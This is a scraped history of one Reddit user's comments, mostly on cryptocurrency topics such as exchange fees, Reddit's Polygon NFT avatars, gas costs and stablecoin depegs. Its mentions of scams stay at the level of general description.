Commented by /u/Maleficent_Plankton in /r/CryptoScams on December 18, 2022 21:08:22
/r/CryptoScams/comments/x7hh7f/polkadot_ie_dot_is_a_scam/j0sfxt6/

It's not a scam. OP posted on multiple subs, and this is only remaining copy that didn't get mod-removed. It's a legitimate project. Shouldn't belong here.

Commented by /u/Maleficent_Plankton in /r/CryptoScams on December 18, 2022 20:45:40
/r/ethereum/comments/zp3yjx/what_are_your_honest_thoughts_on_binance/j0r2lbj/

> make it their life mission to get other people to stop eating Chicken Sandwiches As a former chicken sandwich and Chic-Fil-A/In-N-Out hater, just give up. Their super-unhealthful sandwiches are too delicious, and their customer support are too good. You're never going to convince others to stop going despite their mile-long, environmentally-destructive Drive-Thru lines. The best you can do is help direct them to better places with actually-decent burgers, like Habit Burger.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 18, 2022 14:54:12
/r/shortscarystories/comments/zokqgl/142113251819/j0q2ich/

He's just quickening his own death by trying to make more money.

Commented by /u/Maleficent_Plankton in /r/shortscarystories on December 18, 2022 11:06:25
/r/CryptoCurrency/comments/zp0jbl/i_compared_btc_eth_withdrawal_fees_of_different/j0px6oo/

Yep. I'm curious what they actually paid. Did you see what priority fee each one is using on-chain? Most should also be using multisigs for input signatures, so they might also be a bit more expensive if they're not batching many at a time.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 18, 2022 10:30:22
/r/CryptoCurrency/comments/zoxdgc/the_need_for_crosschain_nfts_in_a_multichain/j0pw3z6/

**On a technical level, cross-chain NFTs can't exist on a blockchain.** That would be invalidate their status as an NFT. The only way to implement something similar to a cross-chain NFT is on the application layer, not the blockchain layer. So the application would have to check multiple blockchains, which means having a trusted whitelist of sources.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 18, 2022 10:22:55
/r/CryptoCurrency/comments/zp0jbl/i_compared_btc_eth_withdrawal_fees_of_different/j0pv75x/

Good analysis. I just want to point out as a side note: **The vast majority of users are not paying 1 sat/vbyte but overpaying at 15-25 sats/vbyte.** I suspect this is because fees are cheap and they don't want to get stuck. So if your exchange charges you as high as $0.30-0.50, that could still be at cost if they picked a higher priority fee. Exchanges also do **batch transfers** (100% certain for Coinbase and the few exchanges I've used for Bitcoin), so that also reduces cost by ~2x. I expect their real at-cost fees to have an upper limit of around $0.15-$0.25 per user withdraw.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 18, 2022 10:16:01
/r/CryptoCurrency/comments/zoa30k/summary_of_random_interesting_facts_about_the/j0pu07q/

That depends on what kind of NFT. An official one from an existing collection, or just a copy?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 18, 2022 10:06:25
/r/CryptoCurrency/comments/zomvjl/scammer_steals_fourteen_bored_apes_from_one/j0nydzr/

Yep. He got seriously catfished. Attacker used lots of social engineering the [Seaport Drainer method](https://twitter.com/Serpent/status/1604074440941506560) to get the victim to sign 2 [setApproveForAll transactions](https://etherscan.io/tx/0x2b7c5e5539f42e79468ec0a1d2cff19c741e49bc78224838d929da6efe528963) signature requests for all their BAYCs. This is a known scam that's been around since the start of OpenSea. Hard to fall for if you're aware of this method, but easy to fall for if aren't constantly checking website addresses.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 17, 2022 21:44:33
/r/CryptoCurrency/comments/zon1d9/are_the_fees_so_high_because_everyone_is/j0nx6t6/

I think all the CEXs overcharge you. You have to Google "exchange_name withdrawal fees" to figure out each exchange's fees. The only CEX I know off the top of my head that charges exact network fees is Gemini, which is also cheaper than Coinbase for trades if you switch to their ActiveTrader system. The only problem is that they recently lost a lot of trust due to their Gemini Earn platform halting after Genesis went down.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 17, 2022 21:34:33
/r/CryptoCurrency/comments/zon1d9/are_the_fees_so_high_because_everyone_is/j0nvvg4/

The thing everyone is paying way more than 1 sat/vB for priority. The median seems to be 15-25 sats/vB if you look at the latest transactions. That's around $0.30-0.50. So OP is still getting ripped off by his exchange or service provider.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 17, 2022 21:23:44
/r/CryptoCurrencyMeta/comments/zoecx2/proposal_brainstorm_an_amendment_to_ccip_030/j0nchuj/

Any liquidity providers want to add their opinion?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on December 17, 2022 18:49:40
/r/CryptoCurrency/comments/zoecel/this_crypto_stuff_is_confusing_a_few_questions/j0mfhep/

You can see all your assets on the blockchain explorer even if the dApp (OpenSea) doesn't display it. The Singularity one needs to be un-hidden in OpenSea. Do a search in this sub for "unhide OpenSea" or something like that. Your Moons are on the Arbirtum Nova network. You'll need to add that network using https://chainlist.org/ All your assets and tokens are at a single address (single account).

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 17, 2022 14:50:44
/r/0xPolygon/comments/zobrwe/some_interesting_statistics_about_the_effect_of/j0mcbso/

Reddit is the one minting it. I assume it's for efficiency since they already have a database of Reddit username to address mappings. And they've been using those addresses for other projects over the past 2 years. It would be nice to be able to swap addresses though.

Commented by /u/Maleficent_Plankton in /r/0xPolygon on December 17, 2022 14:28:37
/r/0xPolygon/comments/zobrwe/some_interesting_statistics_about_the_effect_of/j0m9igb/

Yep. Every Reddit account has its own 0x address that's automatically generated by Reddit. You can't change this address or pick it.

Commented by /u/Maleficent_Plankton in /r/0xPolygon on December 17, 2022 14:09:15
/r/ethfinance/comments/znzkda/daily_general_discussion_december_17_2022/j0lqqyk/

https://polygonscan.com/topstat#Overview That 0x0b1 ... ac94 address currently listed as "Top Gas Used" is the [Reddit collectible avatars Minter](https://polygonscan.com/token/0xc8d3a3a83bde5dad06d436694e3e22ac3e64d577#readProxyContract). Reddit is literally the #1 gas user on the entire Polygon PoS network.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 17, 2022 11:59:39
/r/CryptoCurrency/comments/zoa30k/summary_of_random_interesting_facts_about_the/j0lqmsw/

https://polygonscan.com/topstat#Overview That 0x0b1 ... ac94 address currently listed as "Top Gas Used" is the Reddit collectible avatars Minter. Reddit is literally the #1 gas user on the ENTIRE Polygon PoS network.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 17, 2022 11:58:51
/r/CryptoCurrency/comments/zo5zmf/there_are_no_crypto_experts_out_there/j0levqf/

There are so many crypto experts. Most are core developers, and they never visit this sub.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 17, 2022 10:33:47
/r/ethdev/comments/zny78i/how_do_protocols_deal_with_decimals/j0jysn0/

https://docs.openzeppelin.com/contracts/3.x/erc20#a-note-on-decimals

Commented by /u/Maleficent_Plankton in /r/ethdev on December 17, 2022 00:24:22
/r/CryptoCurrency/comments/znibiz/rcc_cointest_general_concepts_winners_top_coins/j0jwiux/

Why don't you do the Cosmos Pros and Cons? You have 2 weeks left to submit.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 17, 2022 00:00:42
/r/ethfinance/comments/zn7kmy/daily_general_discussion_december_16_2022/j0iq7t3/

1-batch: https://polygonscan.com/tx/0x2f1120052d9ee0277d09d83e1edcea30da3f18e7ba85215a70abc3a66c5a8583 200-batch: https://polygonscan.com/tx/0xf9130e0b3fdea591a5ccc5b5f8126cdda2f17a0e6c43f89677f72ebfee52b591

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 16, 2022 18:03:11
/r/CryptoCurrency/comments/znm4t6/binance_outflows_hit_6bn_as_mazars_halts_proof_of/j0insz3/

I can't believe I actually made a tiny profit trading COIN last year. Was a small window of opportunity. (But then I'm down 10K in ARKK. Karma.)

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 16, 2022 17:45:21
/r/ethfinance/comments/zn7kmy/daily_general_discussion_december_16_2022/j0ib982/

One cool thing about all the Reddit NFTs is that Reddit is using batch minting to save on Tx fees. 200 NFTs batch minted at at 6M gas is about 30k gas per NFT, which is about a 50-70% savings in gas compared to the usual single-minting (single-minting ID 1 cost 65k gas by itself). 30k gas per batch mint is the equivalent of 40 TPS while minting.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 16, 2022 16:15:31
/r/ethereum/comments/zn9cdv/reddit_users_minted_5_million_nft_avatars_on/j0ial2t/

One cool thing about all the Reddit NFTs is that they're using batch minting to save fees. 200 NFTs batch minted at at 6M gas is about 30k gas per NFT, which is about a 70% savings in gas compared to the usual single-minting.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 16, 2022 16:10:50
/r/ethereum/comments/zn9cdv/reddit_users_minted_5_million_nft_avatars_on/j0i98uw/

WTF? Somebody paid that much for one of the recap avatars? They're so ugly.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 16, 2022 16:01:37
/r/ethereum/comments/zn9cdv/reddit_users_minted_5_million_nft_avatars_on/j0i8t1r/

1. OpenSea NFTs are mostly listed in ETH, not MATIC. The open to price in MATIC is new, and not many use it 1. Polygon PoS is still part of the Ethereum ecosystem (even as a sidechain, not rollup) and generated at least $500k last 30 days in direct ETH fees on the Ethereum mainnet.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 16, 2022 15:58:37
/r/ethereum/comments/znhvjm/metamask_and_opensea_accounts_emptied/j0i82ad/

> Not your keys not your cheese ??? You had these stored in your wallet, and you still lost them. OpenSea uses your wallet for credentials.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 16, 2022 15:53:33
/r/ethfinance/comments/zmdpjz/daily_general_discussion_december_15_2022/j0htjxa/

45000 of these NFTs. Definitely not all of these are getting those 1-on-1 extras.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 16, 2022 14:15:28
/r/ethfinance/comments/zn7kmy/daily_general_discussion_december_16_2022/j0hresu/

I've always found that 30 Gwei priority fee interesting for Polygon since it's usually 1 Gwei for Ethereum. I thought the minimum was increased to 30 Gwei (total base + priority), not 30 Gwei priority fees on top of the existing base fees? But maybe I'm misunderstanding some of this. I wasn't paying attention to Polygon a year ago. Polygon's 30M gas limit is scary low (and artificially low) due to EIP-1559 and how fast fees can rise when congested. It could easily support double that limit, but I suspect they like the limit low to keep fees higher.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 16, 2022 14:00:56
/r/CryptoCurrency/comments/zng385/reddit_recap_distribution_what_other_collections/j0hiqg8/

Here's the link to all Reddit Collectibles: * https://opensea.io/RedditCollectibleAvatars?tab=created * https://opensea.io/collection/reddit-recap-2022-x-reddit-collectible-avatars * https://opensea.io/collection/memetic-traders-x-reddit-collectible-avatars And the link to the Deploy contract, which has deployed 200 different collections: https://polygonscan.com/address/0x36fb3886cf3fc4e44d8b99d9a8520425239618c2 In the past month, only the Recap avatars and Memetic Traders avatars (for WSB) were created.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 16, 2022 13:03:48
/r/ethdev/comments/zmlaiz/how_do_you_guys_handle_conversion_to_token/j0h81pj/

Sometimes I wish it had the equivalent of 1e9, 1e15, 1e18 notation like in Solidity.

Commented by /u/Maleficent_Plankton in /r/ethdev on December 16, 2022 11:54:51
/r/ethfinance/comments/zn7kmy/daily_general_discussion_december_16_2022/j0h0qsv/

That's a good question, and I'll probably have to check back again periodically. I think they're separate. Much of the activity on Ethereum is simply onramping to Polygon PoS. For example, on the bridges, there is a disproportionately greater number of deposits than withdraws.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 16, 2022 11:08:48
/r/CryptoCurrency/comments/znebgn/eth_is_slowly_becoming_decentralised_in_name_only/j0gw4z6/

RPCs and wallets are NOT validator nodes. Your knowledge is very shallow. It's like book knowledge without any practical knowledge about how it works. Are you even aware of Stratum v1 mining? Nakamoto coefficient of 3-5 for Bitcoin. It's been there for nearly a decade. In the end, the biggest players don't do suidical shit unless they have a quick exit strategy. There is no quick exit strategy in PoS. Speaking of validator nodes, once the Shanghai update is complete, most of the arguments against staking pool will disappear. So enjoy your 4 more months of FUD.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 16, 2022 10:38:37
/r/CryptoCurrency/comments/znebgn/eth_is_slowly_becoming_decentralised_in_name_only/j0gvdms/

It does, if not worse. But OP is talking about services (Consensys/Infura/Metamask), not about power (mining, staking). For services, there are dozens of alternative walllets and RPCs you can use for Ethereum, and they're not part of the blockchain security. And EVERY blockchain has the issue where RPCs are popular because the vast majority of people are not interested in running their own nodes. Using OP's reasoning, for Bitcoin, there are parts like **Bitcoin Core and Stratum mining pool protocol that are completely centralized** because there are no alternative software.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 16, 2022 10:33:30
/r/CryptoCurrency/comments/znebgn/eth_is_slowly_becoming_decentralised_in_name_only/j0gug2e/

Why are you picking on Consensys? They're not that important other than for Infura and Metamask, which have a dozen alternatives. Ethereum is very diversified in that there are always other protocols to use: Alchemy, Lido/Coinbase/Rocket Pool, Geth/Besu, OpenSea/Rarible, ipfs.io/Pinata/other gateways all have their own pockets of control, but with alternatives. Very different than Bitcoin, in which everyone uses Bitcoin Core and Stratum.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 16, 2022 10:27:15
/r/ethfinance/comments/zn7kmy/daily_general_discussion_december_16_2022/j0fm8zd/

**MATIC** is a utility token used for transaction fees on the Polygon PoS network, but it also generates a decent chunk of ETH fees simply by interacting with the Ethereum network. **I was curious about how much ETH fees MATIC generates on the Ethereum network**. It turns out that it's currently about **1/3** of the fees it generates on its own Polygon PoS network. Not as much, but also not insignificant. I suspect back when gas fees were 10x higher, MATIC generated more fees on the Ethereum network than on the Polygon PoS network. Keep in mind that these only include **direct** revenue fees. There are probably more indirect revenue streams like NFTs, the majority of which are paid in ETH instead of MATIC even on the Polygon PoS network. **In the past 30 days**: * MATIC fees generated on the **Polygon PoS network** [[Token Terminal](https://tokenterminal.com/terminal/metrics/fees)]: **$1.4M** * ETH fees generated by MATIC on the **Ethereum network**: **$560k** That's from the sum of these 5 contracts: |Contract|Purpose|Gas Average Tx|Tx in 30 days|Gas in 30 days|Cost 30 days| :--|:--|:-:|:-:|:-:|:-:| |[MATIC Token](https://etherscan.io/token/0x7d1afa7b718fb893db30a3abc0cfc608aacfebb0)|All Txs involving MATIC transfers|Varies|200000|14B|$364K| |[PoS Bridge](https://etherscan.io/address/0xa0c68c638235ee32657e8f720a23cec1bfc77c77)|ETH and token deposits and exits|Varies|41750|-|$121K| |[Root Chain Proxy](https://etherscan.io/address/0x86e4dc95c7fbdbf52e33d563bbdb00823894c287)|For Checkpoints (30-45 minutes)|2.1M|1100|2.31B|$60K| |[ERC20 Predicate](https://etherscan.io/address/0x158d5fa3Ef8e4dDA8a5367deCF76b94E7efFCe95)|ERC721 Withdraws (Plasma)|460000|923|4.246M|$11K| |[PoS Staking](https://etherscan.io/address/0x5e3Ef299fDDf15eAa0432E6e66473ace8c13D908)|Managing staking|Varies|370|-|$1.7K​| There are 2 more notable contracts: [Plasma Bridge \(Deposit\)](https://etherscan.io/address/0x401F6c983eA34274ec46f84D70b31C151321188b) and [Withdraw manager Proxy](https://etherscan.io/address/0x2A88696e0fFA76bAA1338F2C74497cC013495922), but they're already counted under the "MATIC Token" transactions. Including them would be double-counting. All data was gathered from Etherscan and using their Analytics

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 16, 2022 02:39:46
/r/CryptoCurrency/comments/zjwuow/every_two_months_i_like_to_calculate_the_yearly/j0fkn3z/

Looks like I was wrong, at least for direct transaction fees. **In the past 30 days**: * MATIC fees generated on the PoS network [[Token Terminal](https://tokenterminal.com/terminal/metrics/fees)]: $1.4M * Ethereum fees generated on the Ethereum network: $70M **Compared to**: Total fees generated by MATIC on the Ethereum network (30 days): $560k |Contract|Purpose|Gas Average Tx|Tx in 30 days|Gas in 30 days|Cost 30 days| :--|:--|:-:|:-:|:-:|:-:| |[MATIC Token](https://etherscan.io/token/0x7d1afa7b718fb893db30a3abc0cfc608aacfebb0)|All Txs involving MATIC|70000|200000|14B|$364K| |[PoS Bridge](https://etherscan.io/address/0xa0c68c638235ee32657e8f720a23cec1bfc77c77)|ETH and token deposits and exits|Varies|41750|-|$121K| |[Root Chain Proxy](https://etherscan.io/address/0x86e4dc95c7fbdbf52e33d563bbdb00823894c287)|For Checkpoints (30-45 minutes)|2.1M|1100|2.31B|$60K| |[ERC20 Predicate](https://etherscan.io/address/0x158d5fa3Ef8e4dDA8a5367deCF76b94E7efFCe95)|ERC721 Withdraws (Plasma)|460000|923|4.246M|$11K| |[PoS Staking](https://etherscan.io/address/0x5e3Ef299fDDf15eAa0432E6e66473ace8c13D908)|Managing staking|Varies|370|-|$1.7K​| There are 2 more notable contracts: [Plasma Bridge \(Deposit\)](https://etherscan.io/address/0x401F6c983eA34274ec46f84D70b31C151321188b) and [Withdraw manager Proxy](https://etherscan.io/address/0x2A88696e0fFA76bAA1338F2C74497cC013495922), but they're already counted once along with the "MATIC Token" transactions. All data was gathered from Etherscan and using their Analytics

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 16, 2022 02:19:15
/r/ethereum/comments/zkpz4i/thoughts_about_address_obfuscation/j0fdxdm/

Internal transaction calls are not revealed by block explorers. You would have to run a node and replay every transaction to find the one that called the target contract. This is commonly used in scams. Let's say the contract with a private obfuscated address mapping is called contract B. EOA account calls contract A which then calls contract B. Unless you know about contract A or the EOA accounts, there is no way you'll find the transaction that was used to interact with contract C. You can use contract B to secretly set state variables on Contract C. Of course if you're replaying every single transaction, you'll eventually find contract B, but that's an extreme amount of work.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 16, 2022 00:59:37
/r/ethereum/comments/zkpz4i/thoughts_about_address_obfuscation/j0fd0of/

I've seen this in a scam contract before. One of the state variables was a list of hashed whitelist addresses with owner permissions.

Commented by /u/Maleficent_Plankton in /r/ethereum on December 16, 2022 00:49:43
/r/CryptoCurrency/comments/zn0m6w/daily_general_discussion_december_16_2022_gmt0/j0ey4wu/

What I meant is that it's still $3-5 on the cheapest L2s. I'd have to deploy it on Polygon if I want it under $0.30.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 15, 2022 22:34:36
/r/CryptoCurrency/comments/zn0m6w/daily_general_discussion_december_16_2022_gmt0/j0eulqk/

I really dislike the ugly generic NFTs we got, so I figured I should just [mint my own recap NFT on IPFS](https://testnets.opensea.io/assets/goerli/0x536dcf867c6330ac8533a8847e65448a810dc75a/10) based on my personal recap. Would love to get something like [a whole collection](https://testnets.opensea.io/collection/test03-sglkq6adcr) minted. Did the fees on how much it would cost to deploy a custom 2M-3M gas NFT contract, and it's about $200 on Mainnet Ethereum. Even on L2, it's a couple dollars. No wonder Polygon is so popular for NFTs.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 15, 2022 22:06:43
/r/CryptoCurrencyMeta/comments/zmzrjz/i_have_an_obvious_prediction/j0egu8r/

Yeah, that's what I got. I'm not a fan of these ugly generic NFTs. I'm just going to [mint my own on IPFS](https://gateway.pinata.cloud/ipfs/QmUfq3chvC1aLrjXCwsDSJ2s97CEjbQEMkG7kZJxYWTfWC) based on my personal recap.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrencyMeta on December 15, 2022 20:21:44
/r/CryptoCurrency/comments/zn0l9g/did_i_mess_up_when_buying_my_first_nft_today/j0e68fa/

You got scammed. If you didn't provide them an account address, how are they going to know where to mint the NFT?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 15, 2022 19:03:30
/r/CryptoCurrency/comments/zmxfjr/creating_your_own_shit_coin_in_less_than_1_minute/j0e1aue/

Yeah. That's like 10M gas to create a token. This is service is ripping you off since you can deploy one properly in 1M-1.5M gas.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 15, 2022 18:28:13
/r/CryptoCurrency/comments/zmi0a1/the_antishill_post_for_cosmos_why_the_project/j0dmzhv/

Thanks. It's good to see both sides. Both you and OP make good points. I did find the recent vote on Atom 2.0 tokenomics to be amusing. Didn't expect that many people to vote No with Veto.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 15, 2022 16:50:29
/r/CryptoCurrency/comments/zmthef/eth_shrimp_abruptly_moves_000009_eth_in_one/j0d2hcq/

It went through. He paid 100k gas and was refunded 15%.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 15, 2022 14:38:43
/r/CryptoCurrency/comments/zmthef/eth_shrimp_abruptly_moves_000009_eth_in_one/j0d1wp0/

Look at this gigachad sending 9000000000000 Wei. A Plankton like me never reach those levels.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 15, 2022 14:35:01
/r/CryptoCurrency/comments/zmm23h/coinbase_now_helps_recover_unsupported_erc20/j0c55tq/

Meanwhile, Binance is still sitting at [$500 recovery fees](https://crypto.news/binance-raises-wrong-crypto-network-retrieval-fee-to-500-busd/)

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 15, 2022 11:05:38
/r/CryptoCurrency/comments/zmn6z0/what_are_your_fears_about_crypto_you_often_try_to/j0c14a2/

Then one day a large nation loses 10T worth of BTC to North Korean hackers. And we'll just call that Monday.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 15, 2022 10:39:13
/r/CryptoCurrency/comments/zmn6z0/what_are_your_fears_about_crypto_you_often_try_to/j0c0he1/

We focus so much on decentralization. But what most people really want is just a working product that will be around for generations that isn't exploited by bad actors. Decentralization didn't necessarily have to be the only way to get there.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 15, 2022 10:35:07
/r/etherscan/comments/zmdins/why_does_etherscan_not_show_transaction_origin/j0atgg6/

Because it can't. Geographic location is not broadcasted with transaction data. It's also not accurate. Whenever I interact with a dApp or CEX, I'm using an RPC's IP address. My wallet's IP address never comes into contact with other nodes other than with the RPC.

Commented by /u/Maleficent_Plankton in /r/etherscan on December 15, 2022 03:17:14
/r/etherscan/comments/zm6354/api_to_check_for_token_approvals/j099dx0/

For Ethereum: https://etherscan.io/tokenapprovalchecker Other networks have their own checkers.

Commented by /u/Maleficent_Plankton in /r/etherscan on December 14, 2022 18:56:41
/r/CryptoCurrency/comments/zm0lwv/new_avatars_are_out_now/j08h388/

With a 2-mo old account? Mine's still not available.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 14, 2022 15:46:11
/r/CryptoCurrency/comments/zm1ag0/why_i_believe_it_is_reckless_to_state_99_of/j08ftcg/

It was a statement in a 1-hour audio interview taken out of context. He wasn't talking about 99% of crypto users.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 14, 2022 15:38:26
/r/CryptoCurrency/comments/zlubza/serious_should_i_feel_safe_keeping_funds_on/j07fy66/

Yep. And the Metamask sub is scary AF too. Reports of scam after scam, and tons of user errors too.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 14, 2022 11:52:21
/r/CryptoCurrency/comments/zlvqao/another_cryptocurrency_going_to_fall/j07fidp/

You edited the title, and it's not about a currency that's going to fail.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 14, 2022 11:49:35
/r/CryptoCurrency/comments/zltb4q/99_of_people_will_lose_crypto_storing_in/j071k3i/

Well, that's what the question was about.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 14, 2022 10:17:51
/r/CryptoCurrency/comments/zltb4q/99_of_people_will_lose_crypto_storing_in/j070kp3/

Maybe 95% if we include all the grandparents and people who never use computers and just forced them to use crypto.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 14, 2022 10:11:07
/r/solidity/comments/zl31k5/i_am_writing_a_vault_smart_contract_in_solidity/j05dng9/

Also concerned that he took a screenshot of code with a camera.

Commented by /u/Maleficent_Plankton in /r/solidity on December 13, 2022 23:36:10
/r/ethfinance/comments/zko3pt/daily_general_discussion_december_13_2022/j04sous/

Fastest speed run from crypto-Warren Buffet to crypto-Bernie Madoff.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 13, 2022 20:47:53
/r/AlgorandOfficial/comments/zl4jdb/concerns_about_the_opacity_of_algorand_apps_and/j04jots/

That's not a mechanism built into either of the 2 Algorand blockchain explorers right? If not, I think it should be an extremely important feature to include. For example, on [Etherscan](https://etherscan.io/token/0x7d1afa7b718fb893db30a3abc0cfc608aacfebb0#code), code can be published directly to the explorer, and it will show "Contract Source Code Verified (Exact Match)"

Commented by /u/Maleficent_Plankton in /r/AlgorandOfficial on December 13, 2022 19:40:37
/r/CryptoCurrency/comments/zl37dh/13_years_since_satoshi_nakamoto_was_last_active/j03ec7w/

But it also leaves gaps for crazies like Craig Wright and Michael Saylor to grab all the media attention, giving Bitcoin bad publicity.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 13, 2022 15:08:33
/r/CryptoCurrency/comments/zkxaqr/how_hard_is_to_make_a_crypto_token/j02u78f/

Pretty easy if you use [OpenZeppelin](https://docs.openzeppelin.com/contracts/4.x/wizard). Here's your own [MRLE123 token](https://sepolia.etherscan.io/token/0x8fdf0cadcc68008c60e2b6f6e403e9f4e9b5822d) on a testnet. Now making it have any real value is 100x harder.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 13, 2022 13:04:27
/r/CryptoCurrency/comments/zl0eqg/paxful_has_been_sending_emails_to_their_users_to/j02s2u6/

I suspected they were trying to rebrand themselves as an onramp/offramp instead of as an exchange, and this confirms it.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 13, 2022 12:51:08
/r/CryptoCurrency/comments/zksocm/the_algorand_shillers_on_this_sub_are_bullish/j028rai/

If you want more fuel, you might want to study their "smart" contacts, both Layer 1 and the off-chain version. And study their transactions on a blockchain explorer. Try using one of their swaps, and see what it looks like on a block explorer. I think that's actually the hidden #1 reason Algorand has not picked up much DeFi activity.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 13, 2022 10:43:00
/r/CryptoCurrency/comments/zkxgmu/newbie_friendly_wallets/j0279l5/

I've heard it's good for mobile. The desktop version absolutely sucks though. Looks like it was developed by a one-man tram or something. For desktop, I'd stick with Exodus or Coinbase.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 13, 2022 10:31:22
/r/CryptoCurrency_Tech/comments/zjmrx9/calculating_batch_throughput_and_its_theoretical/j000lim/

Really? It's not a monetized blog. I didn't see any popups on multiple browsers.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency_Tech on December 12, 2022 21:18:44
/r/CryptoCurrency/comments/zk4bim/paxful_to_delist_ethereum_following_push_for/izzzywe/

Which part? * Proposer builder separation? * Thin clients? * Verkle trees? * zkEVM? * EOF and other ops code improvements? * Being the only blockchain with multiple different node clients in use?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 21:14:12
/r/investing/comments/zk4dph/can_many_of_the_past_70_years_of_gains_be/izzlg2v/

I went there as a kid decades ago, and it was amazing. Overcrowding has ruined many things. I haven't gone skiing in years.

Commented by /u/Maleficent_Plankton in /r/investing on December 12, 2022 19:25:52
/r/CryptoCurrency/comments/zk8s4o/do_nfts_have_any_real_world_use_ticketmaster/izzkpsh/

There are centralized systems that solve this too like OAuth login for ticket passport apps. The problem is with Ticker Master being incompetent. They'd probably fuck up NFTs too by doing something stupid like allowing owners to mint unlimited ERC-1155 tokens or allowing flashbots to frontrun an entire show's tickets in 12 seconds.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 19:20:28
/r/AskReddit/comments/zk8wn9/not_using_110_how_attractive_are_you/izzi0di/

= return (how_hot_am_i /MAX_HOTNESS) \* Sides_of(DECAGON)

Commented by /u/Maleficent_Plankton in /r/AskReddit on December 12, 2022 19:00:52
/r/CryptoCurrency/comments/zkd7xi/what_do_you_suggest_as_bridge_fees_for_połygon/izz73wu/

That's a bad idea. The dApp's users would be subsidizing the rest of Moons. dApps need fees to survive, and fees are already high enough as is.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 17:44:06
/r/CryptoCurrency/comments/zk6lor/paxful_an_exchange_with_11m_users_removes_eth_to/izy5ija/

If they're only supporting 1 cryptocurrency, they rename themselves from an exchange to an onramp.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 13:41:54
/r/CryptoCurrency/comments/zk4vfz/trons_justin_sun_deploying_more_capital_to_stop/izxxutx/

> “Deploying more capital—steady lads,” tweeted the Tron founder, mimicking a tweet from Terraform Labs CEO Do Kwon just prior to Terra’s collapse in May. Is he trying to jinx himself?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 12:53:43
/r/CryptoCurrency/comments/zk4bim/paxful_to_delist_ethereum_following_push_for/izxo7fo/

> As an engineer, I understand that ETH is a very poorly designed protocol that does not follow 1st principles. ETH will fail because it has too many variables. ETH is a foundation of sand What the actual fuck is this guy on?

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 11:51:43
/r/ethfinance/comments/zjp8tx/daily_general_discussion_december_12_2022/izxfpst/

I was planning to celebrate my 10th DD, but I certainly didn't expect it to be with a Daily Double Doot.

Commented by /u/Maleficent_Plankton in /r/ethfinance on December 12, 2022 10:54:50
/r/CryptoCurrency/comments/zk0ajf/another_ust_justin_suns_stablecoin_falls_to_0968/izxdjnx/

So here's the thing: **it's actually not even an algorithmic stablecoin** because the Peg Stability Module has never had enough liquidity. It's a simply an overcollateralized coin. There is a minting process, but the burning process is non-functional. So it's a stablecoin with the same "trust me bro" guarantee as USDT. Speaking of which, half of all USDT is on the Tron network.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 10:39:56
/r/CryptoCurrency/comments/zjqtl5/usdd_has_unofficially_depegged/izxbxrg/

We're finding out that it's not really an algorithmic stablecoin, or even a stablecoin at all. The PSM was never fully-functional. USDD is just traded on the open market for whatever price.

Commented by /u/Maleficent_Plankton in /r/CryptoCurrency on December 12, 2022 10:28:48
